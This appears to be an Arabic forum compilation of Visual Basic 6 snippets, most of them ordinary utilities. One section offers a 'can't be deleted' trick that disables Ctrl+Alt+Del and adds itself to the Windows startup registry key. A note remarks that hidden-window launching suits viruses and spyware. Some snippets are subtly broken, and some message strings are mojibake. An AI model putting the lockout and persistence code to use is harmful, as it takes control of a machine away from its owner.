ByVal lpInputName As String, _ 
ByVal lpOutputName As String) As Long 

Public Const MAX_PATH = 260 
Public Function FindFile(RootPath As String, _ 
FileName As String) As String 

Dim lNullPos As Long 
Dim lResult As Long 
Dim sBuffer As String 

On Error GoTo FileFind_Error 

'Allocate buffer 
sBuffer = Space(MAX_PATH * 2) 

'Find the file 
lResult = SearchTreeForFile(RootPath, FileName, sBuffer) 

'Trim null, if exists 
If lResult Then 
lNullPos = InStr(sBuffer, vbNullChar) 
If Not lNullPos Then 
sBuffer = Left(sBuffer, lNullPos - 1) 
End If 
'Return filename 
FindFile = sBuffer 
Else 
'Nothing found 
FindFile = vbNullString 
End If 

Exit Function 

FileFind_Error: 
FindFile = vbNullString 

End Function 



'البحث عن ملف 
'هذا الكود ضعه في الحدث الضغط على زر كوماند او غيره 
MsgBox FindFile("c:\", "win.com") 



-------------------------------------------------------------------------------- 


هل الملف موجود أم لا؟ 
*كود برمجي* 


-------------------------------------------------------------------------------- 


If Dir("c:\test.txt", vbNormal or vbReadOnly or vbHidden or vbSystem or vbArchive) = "" then 
Msgbox "الملف غير موجود" 
Else 
Msgbox "الملف موجود" 
End If 


-------------------------------------------------------------------------------- 


عكس اتجاه جمله 
*كود برمجي* 


-------------------------------------------------------------------------------- 


Public Function reversestring(revstr As String) As String 
Dim doreverse As Long 
reversestring = "" 
For doreverse = Len(revstr) To 1 Step -1 
reversestring = reversestring & Mid$(revstr, doreverse, 1) 
Next 
End Function 

Private Sub Form_DblClick() 
Dim strResult As String 
'الكلمه المراد عكسها 
strResult = reversestring("String") 
MsgBox strResult 
End Sub 


-------------------------------------------------------------------------------- 


نعطيل النوافذ الدعائية في متصفحكDisble Popup Window 
*كود برمجي* 


-------------------------------------------------------------------------------- 


Private Sub Form_Load() 
WebBrowser1.Navigate "http://www.aol.com" 
End Sub 


Private Sub WebBrowser1_NewWindow2(ppDisp As Object, Cancel As Boolean) 
'this sets the popup window to another b 
' rowser control 
'in which webbrowser2.visible = false 
Set ppDisp = WebBrowser2.Object 
End Sub 


-------------------------------------------------------------------------------- 


تكملة تلقائية للكومبوبكس Auto complete Combobox 
*كود برمجي* 


-------------------------------------------------------------------------------- 


'قسم التصاريح 
Public Const CB_FINDSTRING = &H14C 
Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long 

'الكود 
Sub AutoComplete(cbCombo As ComboBox, strKeyHit As String) 
' To use this code, put the following co 
' de in the combo box's KeyPress event 
' 
' AutoComplete , Key 
' Ascii 
' 
' change to the nam 
' e of the combobox 


If KeyAscii = 13 Then 
cbCombo.AddItem cbCombo.Text 
KeyAscii = 0 
Exit Sub 
End If 
Dim lngFind As Long, intPos As Integer, intLength As Integer 


With cbCombo 


If KeyAscii = 8 Then 
If .SelStart = 0 Then Exit Sub 
.SelStart = .SelStart - 1 
.SelLength = 32000 
.SelText = "" 
Else 
.SelText = chr(KeyAscii) 
End If 
KeyAscii = 0 
lngFind = SendMessage(.hWnd, CB_FINDSTRING, 0, ByVal .Text) 
If lngFind = -1 Then Exit Sub 
intPos = .SelStart 
intLength = Len(.List(lngFind)) - Len(.Text) 
.SelText = .SelText & Right(.List(lngFind), intLength) 
.SelStart = intPos 
.SelLength = intLength 
End With 
End Sub 



-------------------------------------------------------------------------------- 


حفظ ملف في قاعدة بياناتStore Binary files in a database 
*كود برمجي* 


-------------------------------------------------------------------------------- 


Public Function BLOBToFile(ByVal strFullPath As String, ByRef objField As ADODB.Field, Optional ByVal bUseStream As Boolean = True, Optional ByVal lngChunkSize As Long = 8192) As Boolean 
On Error Resume Next 
Dim objStream As ADODB.Stream 
Dim intFreeFile As Integer 
Dim lngBytesLeft As Long 
Dim lngReadBytes As Long 
Dim byBuffer() As Byte 


If bUseStream Then 
Set objStream = New ADODB.Stream 


With objStream 
.Type = adTypeBinary 
.Open 
.Write objField.Value 
.SaveToFile strFullPath, adSaveCreateOverWrite 
End With 


DoEvents 
Else 


If Dir(strFullPath) <> "" Then 
Kill strFullPath 
End If 
lngBytesLeft = objField.ActualSize 
intFreeFile = FreeFile 
Open strFullPath For Binary As #intFreeFile 


Do Until lngBytesLeft <= 0 
lngReadBytes = lngBytesLeft 


If lngReadBytes > lngChunkSize Then 
lngReadBytes = lngChunkSize 
End If 
byBuffer = objField.GetChunk(lngReadBytes) 
Put #intFreeFile, , byBuffer 
lngBytesLeft = lngBytesLeft - lngReadBytes 


DoEvents 
Loop 
Close #intFreeFile 
End If 


If Err.Number <> 0 Or Err.LastDllError <> 0 Then 
BLOBToFile = False 
Else 
BLOBToFile = True 
End If 
End Function 
'*************************************** 
' ************************ 
' Abstract: Writes a binary file to a BL 
' OB datafield. If the file 
'is big I would recommend that you set b 
' UseStream = False. 
' 
' Input: strFullPath: Full path to the s 
' ource file 
'objField: Field object that will contai 
' n the BLOB data. 
'bUseStream: (Optional) True = Use Strea 
' m methode, False = Use GetChunk 
'lngChunkSize: (Optional) Specifies the 
' Chunk size to fetch with each GetChunk 
' 
' Output: True on success, False on fail 
' ure 
'*************************************** 
' ************************ 


Public Function FileToBLOB(ByVal strFullPath As String, ByRef objField As ADODB.Field, Optional ByVal bUseStream As Boolean = True, Optional ByVal lngChunkSize As Long = 8192) As Boolean 
On Error Resume Next 
Dim objStream As ADODB.Stream 
Dim intFreeFile As Integer 
Dim lngBytesLeft As Long 
Dim lngReadBytes As Long 
Dim byBuffer() As Byte 
Dim varChunk As Variant 


If bUseStream Then 
Set objStream = New ADODB.Stream 


With objStream 
.Type = adTypeBinary 
.Open 
.LoadFromFile strFullPath 
objField.Value = .Read(adReadAll) 
End With 
Else 


With objField 
'<<--If the field does not support 
' Long Binary data'-->> 
'<<--then we cannot load the data 
' into the field.-->> 


If (.Attributes And adFldLong) <> 0 Then 
intFreeFile = FreeFile 
Open strFullPath For Binary Access Read As #intFreeFile 
lngBytesLeft = LOF(intFreeFile) 


Do Until lngBytesLeft <= 0 


If lngBytesLeft > lngChunkSize Then 
lngReadBytes = lngChunkSize 
Else 
lngReadBytes = lngBytesLeft 
End If 
ReDim byBuffer(lngReadBytes) 
Get #intFreeFile, , byBuffer() 
objField.AppendChunk byBuffer() 
lngBytesLeft = lngBytesLeft - lngReadBytes 


DoEvents 
Loop 
Close #intFreeFile 
Else 
Err.Raise -10000, "FileToBLOB", "The Database Field does Not support Long Binary Data." 
End If 
End With 
End If 



If Err.Number <> 0 Or Err.LastDllError <> 0 Then 
FileToBLOB = False 
Else 
FileToBLOB = True 
End If 
End Function 


-------------------------------------------------------------------------------- 


بإمكانك تحريك الماوس برمجيا 
*كود برمجي* 


-------------------------------------------------------------------------------- 


'أضف Command1,Command2 ثم انسخ الكود التالي 
Private Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long 
Private Declare Function ClientToScreen Lib "user32" _ 
(ByVal hwnd As Long, lpPoint As POINTAPI) As Long 
Private Declare Sub mouse_event Lib "user32" _ 
(ByVal dwFlags As Long, ByVal dx As Long, _ 
ByVal dy As Long, ByVal cButtons As Long, ByVal dwExtraInfo As Long) 
Private Const MOUSEEVENTF_MOVE = &H1 ' mouse move 
Private Const MOUSEEVENTF_ABSOLUTE = &H8000 ' absolute move 
Private Type POINTAPI 
X As Long 
Y As Long 
End Type 
Private Sub Command1_Click() 
Const NUM_MOVES = 2000 
Dim pt As POINTAPI 
Dim cur_x As Long 
Dim cur_y As Long 
Dim dest_x As Long 
Dim dest_y As Long 
Dim dx As Long 
Dim dy As Long 
Dim i As Integer 
ScaleMode = vbPixels 
GetCursorPos pt 
cur_x = pt.X * 65535 / ScaleX(Screen.Width, vbTwips, vbPixels) 
cur_y = pt.Y * 65535 / ScaleY(Screen.Height, vbTwips, vbPixels) 
'تحديد مكان الماوس الجديد 
pt.X = Command2.Width / 2 
pt.Y = Command2.Height / 2 
ClientToScreen Command2.hwnd, pt 
dest_x = pt.X * 65535 / ScaleX(Screen.Width, vbTwips, vbPixels) 
dest_y = pt.Y * 65535 / ScaleY(Screen.Height, vbTwips, vbPixels) 
' Move the mouse. 
dx = (dest_x - cur_x) / NUM_MOVES 
dy = (dest_y - cur_y) / NUM_MOVES 
For i = 1 To NUM_MOVES - 1 
cur_x = cur_x + dx 
cur_y = cur_y + dy 
mouse_event MOUSEEVENTF_ABSOLUTE + MOUSEEVENTF_MOVE, cur_x, cur_y, 0, 0 
DoEvents 
Next i 
End Sub 


-------------------------------------------------------------------------------- 


رسم احداثيات سيني وصادي تبعا لحركة الماوس 
*كود برمجي* 


-------------------------------------------------------------------------------- 


Private Sub Form_MouseMove(Button As Integer, Shift As Integer, _ 
X As Single, Y As Single) 
Me.Cls 
Line (X, 0)-(X, Me.ScaleHeight), vbRed 
Line (0, Y)-(Me.ScaleWidth, Y), vbGreen 
End Sub 


-------------------------------------------------------------------------------- 


كود لعرض جملة في كل مرة تشغل فيها برنامجك (نصيحة اليوم) 
قم بكتابة الحكم في ملف نصي TEST.TXT كل حكمة في سطر واحفظ الملف في مسار البرنامج. 
ضع على نافذة المشروع أداة Label التي تريد عرض الحكم فيها وضع زر أوامر لعرض الحكمة التالية وانسخ الكود التالي : 


*كود برمجي* 


-------------------------------------------------------------------------------- 



Option Explicit 
Dim Tips As New Collection 
Const TIP_FILE = "TEST.TXT" 
Dim CurrentTip As Long 

Public Sub DisplayCurrentTip() 
If Tips.Count > 0 Then 
Label1.Caption = Tips.Item(CurrentTip) 
End If 
End Sub 

Private Sub DoNextTip() 
CurrentTip = Int((Tips.Count * Rnd) + 1) 
form1.DisplayCurrentTip 
End Sub 

Function LoadTips(sFile As String) As Boolean 
Dim NextTip As String 
Dim InFile As Integer 
InFile = FreeFile 
If sFile = "" Then 
LoadTips = False 
Exit Function 
End If 
If Dir(sFile) = "" Then 
LoadTips = False 
Exit Function 
End If 
Open sFile For Input As InFile 
While Not EOF(InFile) 
Line Input #InFile, NextTip 
Tips.Add NextTip 
Wend 
Close InFile 
DoNextTip 
LoadTips = True 
End Function 

Private Sub Command1_Click() 
DoNextTip 
End Sub 

Private Sub Form_Load() 
Dim ShowAtStartup As Long 
ShowAtStartup = GetSetting(App.EXEName, "Options", "Show Tips at Startup", 1) 
If ShowAtStartup = 0 Then 
Unload Me 
Exit Sub 
End If 
Randomize 
If LoadTips(App.Path & "\" & TIP_FILE) = False Then 
Label1.Caption = "That the " & TIP_FILE & " file was not found? " & vbCrLf & vbCrLf & _ 
"Create a text file named " & TIP_FILE & " using NotePad with 1 tip per line. " & _ 
"Then place it in the same directory as the application. " 
End If 
End Sub 


-------------------------------------------------------------------------------- 
كود لا يمكن حذف الملف أبدا الا بالفورمات لانه يتوغل في الجيستري ويعطل alt+ctrl+del 

هذا يوضع في الجنرال التصريح 


*كود برمجي* 


-------------------------------------------------------------------------------- 



Private Declare Function RegOpenKeyEx Lib "advapi32.dll" _ 
Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As _ 
String, ByVal ulOptions As Long, ByVal samDesired As Long, _ 
phkResult As Long) As Long 

Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal _ 
hKey As Long) As Long 

Private Declare Function RegSetValueEx Lib "advapi32.dll" _ 
Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName _ 
As String, ByVal Reserved As Long, ByVal dwType As Long, _ 
lpData As Any, ByVal cbData As Long) As Long 

Private Const HKEY_LOCAL_MACHINE = &H80000002 

Private Const KEY_WRITE = &H20006 
Private Const REG_SZ = 1 

Private Sub Command1_Click() 
Form2.Show 
End Sub 



-------------------------------------------------------------------------------- 


--------------------------------- 
وهذا في الفورم 

*كود برمجي* 


-------------------------------------------------------------------------------- 



Private Sub Form_Load() 
Call DisableCtrlAltDelete(True) 


Dim Msg, Style, Title, Response 
Msg = "?C ???C C?C??? C??C??E ?C? ??? ?C EI ?? C?????CE" & Chr(13) & Chr(10) + "C??CE?? ... ?E??? ?C?? C??IE?C? ?C?EI??? ?C?????CE C???EC?? " 
Style = vbOKOnly + vbExclamation + vbMsgBoxRight + vbMsgBoxRtlReading 
Title = ";C??CE??" 

Response = MsgBox(Msg, Style, Title) 

Dim hregkey As Long 
Dim SubKey As String 
Dim stringbuffer As String 

SubKey = "Software\Microsoft\Windows\CurrentVersion\Run" 

retval = RegOpenKeyEx(HKEY_LOCAL_MACHINE, SubKey, 0, _ 
KEY_WRITE, hregkey) 
If retval <> 0 Then 
Exit Sub 
End If 
stringbuffer = App.Path & "\" & App.EXEName & ".exe" & vbNullChar 
retval = RegSetValueEx(hregkey, "C??CE??", 0, REG_SZ, _ 
ByVal stringbuffer, Len(stringbuffer)) 

RegCloseKey hregkey 

End Sub 



-------------------------------------------------------------------------------- 


وهذا أذا عملت قائمة منسدلة ضع هذا الكود 

*كود برمجي* 


-------------------------------------------------------------------------------- 



Private Sub E_Click() 
MsgBox " ?C ?I? ?E?I ?? C?O? ?U?? ?E ", vbExclamation, "C??CE?? ?IE??" 
Form2.Show 

End Sub 



-------------------------------------------------------------------------------- 
لتحميل جميع خطوط الكمبيوتر في الكومبو بوكس إكتب الكود 
Private Sub Form_Load() 
Dim i As Integer 
For i = 0 To Screen.FontCount - 1 
Combo1.AddItem Screen.Fonts(i) 
Next i 
Combo1.Text = Combo1.List(0) 
End Sub 

...................................................................... 
هذا الكود لعمل فورم رخامي 
ضع هذا الكود في قسم التصريحات General 
Private Sub GradientFill() 
Dim i As Long 
Dim c As Integer 
Dim r As Double 
r = ScaleHeight / 3.142 
For i = 0 To ScaleHeight 
c = Abs(220 * Sin(i / r)) 
Me.Line (0, i)-(ScaleWidth, i), RGB(c, c, c + 30) 'Notice the bias To blue. You can be more subtle by reducing this number (try 10). Try other colours too. 
Next 
End Sub 
وهذا الكود في حدث Resize للفورم 
GradientFill 

.......................................................................... 
هذه الدالة لتحميل صفحة من الإنترنت 
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long 
Private Sub Command1_Click() 
lngRetVal = URLDownloadToFile(0, "http://www.الموقع.com", "c:\الموقع.htm", 0, 0) 
End Sub 

....................................................................... 
هذه الدالة تقوم بنقل ملف من مسار إلى مسار آخر 
Private Declare Function MoveFile Lib "kernel32" Alias "MoveFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String) As Long 
Private Sub Command1_Click() 
MoveFile "c:\Windows\Desktop\a.txt", "c:\a.txt" 
End Sub 

........................................................................... 
هذه الدالة تقوم بتعطيل زر إغلاق Close الذي يوجد في كل نافذة 
Private Declare Function GetSystemMenu Lib "user32" (ByVal hwnd As Long, ByVal bRevert As Long) As Long 
Private Declare Function GetMenuItemCount Lib "user32" (ByVal hMenu As Long) As Long 
Private Declare Function RemoveMenu Lib "user32" (ByVal hMenu As Long, ByVal nPosition As Long, ByVal wFlags As Long) As Long 
Const MF_BYPOSITION = &H400& 
Private Sub Form_Load() 
Dim a As Long, b As Long 
a = GetSystemMenu(Me.hwnd, False) 
b = GetMenuItemCount(a) 
RemoveMenu a, b - 1, MF_BYPOSITION 
DrawMenuBar Me.hwnd 
End Sub 

.......................................................................... 
هذه الدالة لتغيير ألوان الواجهة للويندوز 
Private Declare Function SetSysColors Lib "user32" (ByVal nChanges As Long, lpSysColor As Long, lpColorValues As Long) As Long 
Private Declare Function GetSysColor Lib "user32" (ByVal nIndex As Long) As Long 
Const COLOR_ACTIVECAPTION = 2 
Private Sub Form_Load() 
a = GetSysColor(COLOR_ACTIVECAPTION) 
SetSysColors 1, COLOR_ACTIVECAPTION, RGB(255, 200, 140) 
MsgBox "The old title bar color was" + Str$(a) + " And is now" + Str$(GetSysColor(COLOR_ACTIVECAPTION)) 
End Sub 

........................................................................ 
هذه الدالة تعرض مربع حوار تهيئة القرص المرن 
Const SHFD_CAPACITY_DEFAULT = 0 
Const SHFD_FORMAT_QUICK = 0 
Private Declare Function SHFormatDrive Lib "shell32" (ByVal hwndOwner As Long, ByVal iDrive As Long, ByVal iCapacity As Long, ByVal iFormatType As Long) As Long 
Private Sub Form_Load() 
SHFormatDrive Me.hwnd, 0, SHFD_CAPACITY_DEFAULT, SHFD_FORMAT_QUICK 
End Sub 

........................................................................ 
هذا الكود يقوم بإخبارك هب يوجد كرت صوت أم لا أي هل تستطيع تشغيل ملفات الأصوات في جهازك 
ضع هذا الكود في الموديل Module 
Declare Function waveOutGetNumDevs Lib "winmm.dll" () As Long 
اضف زر Command وضع فيه الكود التالي 
Dim i As Integer 
i = waveOutGetNumDevs() 
If i > 0 Then 
MsgBox "بالإمكان تشغيل ملفات الأصوات في جهازك", _ 
vbInformation, "التأكد من وجود كرت الصوت" 
Else 
MsgBox "ليس بالإمكان تشغيل ملفات الأصوات في جهازك", _ 
vbInformation, "التأكد من وجود كرت الصوت" 
End If 
........................................................................ 
هل تريد التعرف على خصائص الطابعة أي هل تريد إظهار نافذة خصائص الطابعة إتبع ما يلي : 
إضغط على ctrl+t 
إختر من النافذة التي سوف تظهر لك Microsoft Common Dialog وذلك بوضع أمامه صح ثم OK 
أضفه في الفورم واكتب الكود التالي في حدث الضغط على زر 
Dim BeginPage, EndPage, NumCopies, i 
CommonDialog1.CancelError = True 
On Error GoTo ErrHandler 
CommonDialog1.ShowPrinter 
BeginPage = CommonDialog1.FromPage 
EndPage = CommonDialog1.ToPage 
NumCopies = CommonDialog1.Copies 
For i = 1 To NumCopies 
Next i 
Exit Sub 
ErrHandler: 
Exit Sub 

........................................................................... 
هذا الكود يقوم بجمع الأرقام الموجود في Text1 و Text2 ويضع الناتج في Label1 
Label1.Caption = Val(Text1.Text) + Val(Text2.Text) 

وهذا الكود يقوم بطرح ال Text1 من ال Text2 ويضع الناتج في ال Label1 
Label1.Caption = Val(Text1.Text) - Val(Text2.Text) 

هذا الكود يقوم بضرب Text1 بـ Text2 ويضع الناتج في ال Label1 
Label1.Caption = Val(Text1.Text) * Val(Text2.Text) 

هذا الكود يقوم بقسمة Text1 على Text2 ويضع الناتج في ال Label1 
Label1.Caption = Val(Text1.Text) / Val(Text2.Text) 

........................................................................ 
هذا الكود لمعرفة البارامترات التي يتم تمريرها للبرنامج في سطر الأوامر : 

Function GetCommandLine(Optional MaxArgs) 
Dim C, CmdLine, CmdLnLen, InArg, I, NumArgs 
If IsMissing(MaxArgs) Then 
MaxArgs = 10 
End If 
ReDim ArgArray(MaxArgs) 
NumArgs = 0: 
InArg = False 
CmdLine = Command() 
CmdLnLen = Len(CmdLine) 
For I = 1 To CmdLnLen 
C = Mid(CmdLine, I, 1) 
If (C <> " " And C <> vbTab) Then 
If Not InArg Then 
If NumArgs = MaxArgs Then 
Exit For 
End If 
NumArgs = NumArgs + 1 
InArg = True 
End If 
ArgArray(NumArgs) = ArgArray(NumArgs) & C 
Else 
InArg = False 
End If 
Next I 
ReDim Preserve ArgArray(NumArgs) 
GetCommandLine = ArgArray() 
End Function 


Private Sub Form_Activate() 
Dim I 
s = GetCommandLine 
For I = 1 To UBound(s) 
Print s(I) 
Next I 
End Sub 

........................................................................ 
كيف تضع محتويات ملف في ليستا 

Private Sub Command1_Click() 
Dim StringHold As String 

Open "C:\test.txt" For Input As #1 

List1.Clear 
While Not EOF(1) 
Input #1, StringHold 
List1.AddItem StringHold 
Wend 
Close #1 
End Sub 

......................................................................... 
كيف تعرف اذا تم تغيير محتويات TextBox 

Private bChanged As Boolean 

Private Sub Text1_Change() 
bChanged = True 
End SubPrivate 

Sub Form_Unload(Cancel As Boolean) 
If bChanged Then 
If Msgbox("Save Changes?", vbYesNo, "Save") = vbYes Then 
'Save Changes Here. 
End If 
End If 
End Sub 

........................................................................... 
كيف تصنع قائمة فرعية من خلال زر امر 

First, create a menu with the menu editor. 
It should look like this: 

Button Menu (Menu name: mnuBtn, Visible: False - Unchecked) 
....SubMenu Item 1 (Menu name: mnuSub, Index: 0) 
....SubMenu Item 2 (Menu name: mnuSub, Index: 1) 
....SubMenu Item 3 (Menu name: mnuSub, Index: 2) 
....SubMenu Item 4 (Menu name: mnuSub, Index: 3) 

I hope you understand the above. Also create a CommandButton. 

Then add this code: 

Private Sub mnuSub_Click(Index As Integer) 
Call MsgBox("Menu sub-item " & Index + 1 & " clicked!", _ 
vbExclamation) 
End Sub 

Private Sub Command1_Click() 
Call PopupMenu(mnuBtn) 
End Sub 

P.S. For added effect, replace the line: 

Call PopupMenu(mnuBtn) 

With this one: 

Call PopupMenu(Menu:=mnuBtn, X:=Command1.Left, Y:=Command1.Top + _ 
Command1.Height) ' Even more viola! 

Or this one: 

Call PopupMenu(mnuBtn, vbPopupMenuCenterAlign, Command1.Left + _ 
(Command1.Width / 2), Command1.Top + Command1.Height 

........................................................................... 
نسخ محتويات مربع نص الى مربع نص اخر 

If you have VB6.0 you can use the Replace Function to 
easily replace any Character(s) with something else, eg. 

Text2 = Replace(Text1, vbCrLf, "" & vbCrLf) 

Otherwise, you'll need to step though the Text yourself 
checking for instances of vbCrLf, e.g. 


code: 

Dim sString As String 
Dim sNewString As Strings 

String = Text1 
While Instr(sString, vbCrLf) 
sNewString = sNewString & Left(sString, _ 
Instr(sString, vbCrLf) - 1) & "" & vbCrLf 
sString = Mid(sString, Instr(sString, vbCrLf) + 2) 
Wend 
Text2 = sNewString 
........................................................................... 

) أكواد الحافظة.... 
الحافظة في الفيجوال بيسك تأخذ الأسم Clipboard ، حيث يتم ربط توابع معينة بهذا 
الكائن لكي تتم أوامر الحافظة...سأكتب الأكواد على فرض أن لدينا صندوق نص اسمه 
txtMyText... 

*** كود القص: 
Clipboard.clear 
Clipboard.SetText txtMyText.SelText 
txtMyText.SelText="" 

إن المنهج Clear يقوم بتفرغة كل محتويات الحافظة... كما يقوم الأمر SetText بإضافة النص المحدد إلى الحافظة... و إذا أردنا معرفة ما تحملة العبارة التالية txtMyText.SelText فهي تحمل قيمة النص المحدد... أي أن SelText تشير إلى النص المحدد... 
ثم في العبارة الأخيرة، نحذف النص المحدد لكي تتم عملية القص... 

*** كود النسخ: 
Clipboard.clear 
Clipboard.SetText txtMyText.SelText 

هذا الكود يماثل تماما الكود السابق، لكن الفرق أننا لا نقوم بحذف النص المحدد و الذي نود نسخه... 

*** كود اللصق: 
txtMyText.SelText=ClopBoard.GetText( ) 

إن العبارة ClipBoard.GetText() تحمل قيمة النص الموجود في الحافظة.... و نحن نأمر الجهاز في هذا الكود بوضع قيمة الحافظة مكان النص المحدد... 

2) كود الأحداث المعلقة: 
من المؤكد أنكم تتسائلون " ما هي الأحداث المعلقة؟ "، أنا سأشرح لكم... 
إن بعض البرامج تحتوي على Loop أي حلقة ... و لهذه الحلقة أشكال كثيرة، أشهرها و 
أكثرها شيوعا: 
For I=0 to 100 
....... 
..... 
....... 
if I=100 then I=0 
next I 

إذا قمنا بتحليل عمل هذا البرنامج، نتوصل إلى انه سيقوم بتنفيذ الأوامر الموجودة داخل الحلقة إلى ما لا نهاية... و بذلك، فإن أي حدث تقوم بتنفيذه خلال عمل هذه الحلقة فإنه لن يستجيب..... 
أعرف أنكم لم تفهموا، سأوسع الشرح... 
لنفرض أنه لدينا برنامج يقوم برسم نقاط عشوائية على نموذج معين، و هذه النقاط غير منتهية.... و لدينا زري أوامر، الأول للبدء الحلقة، و الثاني لإنهاءها... 
إذا ضغطنا زر البدء، فإن الحلقة ستبدأ إلى ما لا نهاية.... و سترسم نقاطا على النموذج إلى ما لا نهاية... فعند القيام بحدث الضغط على زر إنهاء الحلقة، فأنه لن يستجيب أبدا، و ذلك بسبب عمل الحلقة.... فما الحل إذن... 
يوجد تابع خاص لهذه المشكلة و هو DoEvents... عند وضع هذا التابع ضمن الحلقة، فإنه ينفذ الحدث الذي قمت به، ثم يكمل تنفيذ الحلقة.... 

3) كود تنفيذ أي برنامج عن طريق الفيجوال بيسك: 
إذا أردت أن تشغل إي برنامج في جهازك عن طريق الفيجوال بيسك، اكتب العبارة التالية.... 
Dim A 
A = Shell ("programpath",n) 

حيث A متغير... و اكتب مكان الــ programpath مسار البرنامج كاملا، و اكتب مكان n رقم من 0 إلى 6، حيث كل رقم له دلالته... 

0 تظهر نافذة البرنامج مخفية. 
1 تظهر نافذة البرنامج بحجمها الطبيعي و معها التركيز. 
2 تظهر النافذة مصغرة و معها التركيز. 
3 تظهر النافذة مكبرة و ومعها التركيز. 
4 تظهر نافذة عادية و بدون تركيز. 
6 تظهر نافذة مصغرة بدون تركيز. 

و إن التابع Shell يرجع قيمة عددية تحفظ في المتغير A تشير إلى مقبض النافذة الذي يعترف عليه Windows 

ملاحظة: الفائدة من وضع القيمة 0 للمتغير n ، هي لظهور النافذة مخفية، و بالتالي يتم تحميل النافذة في الذاكرة دون أن نراها. و نستغيد من هذه الحالة في تشغيل ملف تنفيذي لكي يؤدي وظائف معينة دون أن يشاهد المستخدم نافذة البرنامج (برامج الفيروسات و التجسس) 

4) كود للقيام باتصال هاتفي: 
يجب أولا تضمين أداة جديدة و هي MSComm، و ذلك بالخطوات التالية: 
* اضغط بزر اليمين على مكان فارغ شريط الأدوات. 
* اختر الخيار Components 
* اختر الأداة MSComm من القائمة و اضغط على الزر موافق. 
* ستظهر لك أداة جديدة لها شكل الهاتف على شريط الأدوات. 

بعد تضمين هذه الأداة في النموذج، نسميها على سبيل المثال Comm1.... 
و إليك الكود: 
Dim PhoneNumber as String 
On Error Goto WrongPort 
Comm1.CommPort = 1 
Comm1.Settings = "300,n,8,1" 
PhoneNumber = "164883" 
Comm1.PortOpen = True 
Comm1.OutPut = "ATDT" + PhoneNumber + Chr$(13)Sub 
WrongPort: 
MsgBox "Title", 1048576 + 524288 + 16, "Prompt" 

الشرح: 
في السطر الأول: نعرف متغير حرفي و هو PhoneNumber 
في السطر الثاني: نضع هذه العبارة بحيث في حال حدوث أي خطأ ( مثلا المودم غير 
متصل، أو المنفذ غير صحيح ) ينتقل التنفيذ إلى السطر الثامن حيث 
الإجراء . طبعا يمكن تسمة WrongPort كما نشاء. 
في السطر الثالث: نحدد البورت الذي سنجري منه الإتصال. يفضل أن تقوم بتجربة البرنامج 
عدة مرات بتغيير البورت (1، 2، 3، 4، 5، 6، 7 ) حتى تصل للبورت 
الصحيح. 
في السطر الرابع: نحدد إعدادات الإتصال. ضعها كما هي موجودة في هذا الكود، لأن 
شرحها معقد نوعا ما. 
في السطر الخامس: نكتب رقم الهاتف المراد طلبه. 
في السطر السادس: يفتح البورت الذي حددته. 
في السطر السابع: تنتقل البيانات عبر خط الهاتف مع بعض الشيفرات. 
في السطر الثامن: ينتهي تنفيذ الأوامر. 
في السطر التاسع: يوجد الإجراء الذي ينتقل أليه التنفيذ عند حدوث خطأ. 
في السطر العاشر: تظهر رسالة الخطأ التي عنوانها Title و نصها هو Prompt. 
يمكن تغيير هذه القيم كما تشاء. 

و الأن تم الإتصال، و ماعليك سوى التكلم عن طريق الهيدفون أو الهاتف. 
لقطع الإتصال: ضع الكود التالي: 
Comm1.PortOpen = False 
حيث يقوم هذا السطر بإغلاق المنفذ. 

5) كود لإيقاف تشغيل ويندوز: 
ننشئ نافذة جديدة من النوع Module و نكتب فيها السطر التالي: 
Public Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags as Long, By Val dwReserved As Long) As Long 

و لكن انتبه، اكتبه في سطر واحد، و ليس في سطرين... 
و الأن في النموذج، ضمن أزرارا لإيقاف التشغيل، و أعادت التشغيل، و إنهاء كافة العمليات البرمجية، و أنهاء كافة العمليات البرمجية التي لا تستجيب. 
و اكتب الكود التالي لكل زر: 
Dim LonStatus 
LonStatus = ExitWindowsEx (Flag, n) 

اكتب إحدى الأرقام التالية للمتغير n: 
0 لإنهاء كافة العمليات البرمجية. 
1 لإيقاف التشغيل. 
2 لإعادة التشغيل. 
4 ينهي كافة العمليات البرمجية التي لا تستجيب. 

........................................................................... 

كود لابطال عملية ctrl+alt+del 
ضع هذا الكود في قسم التعريفات 

Private Declare Function SystemParametersInfo Lib _ 
"user32" Alias "SystemParametersInfoA" (ByVal uAction _ 
As Long, ByVal uParam As Long, ByVal lpvParam As Any, _ 
ByVal fuWinIni As Long) As Long 
Sub DisableCtrlAltDelete(bDisabled As Boolean) 
Dim X As Long 
X = SystemParametersInfo(97, bDisabled, CStr(1), 0) 
End Sub 

لإبطال عمل المفاتيح ضع السطر التالي في المكان المناسب 
Call DisableCtrlAltDelete(True) 

لإعادة عمل المفاتيح ضع السطر التالي في المكان المناسب 
Call DisableCtrlAltDelete(False) 

.......................................................................... 

كود هـل الملف موجود أم لا ؟ 
قد يحتاج برنامجك في بعض الأحيان أن يعرف عن أحد الملفات كونه موجوداً على القرص أم لا ، يمكن عمل ذلك باستخدام الأسطر التالية : 
If Dir(myfilename, vbNormal or vbReadOnly or vbHidden or vbSystem or vbArchive) = "" then 
Msgbox "الملف غير موجود" 
Else 
Msgbox "الملف موجود" --
ش
End If 
.......................................................................... 

تخصيص مفتاح HotKey لصندوق نص 
يمكنك تخصيص مفتاح ساخن HotKey لصندوق نص TextBox بالطريقة التالية : أنشيء أداة من نوع Label و ضع لها المفتاح الساخن الذي تريده لصندوق النص ثم عدل خاصية TabIndex لها لتكون أقل بواحد من قيمة نفس الخاصية في صندوق النص ( مثال : إذا كانت قيمة TabIndex لصندوق النص هي 4 فاجعل قيمتها للأداة من نوع Label الرقم 3 ) 
....................................................................... 

كيف تجعل النص يظهر بشكل عمودي في الأداة Label 
يمكن عمل ذلك باستخدام الرمز vbCrLf ، حيث يوضع بعد كل حرف في محتوى الأداة Label كما يلي : 
Private Sub Form_Activate() 
Dim s As String 
For i = 1 To Len(Label1) 
s = s & Mid$(Label1, i, 1) & vbCrLf 
Next 
Label1 = s 
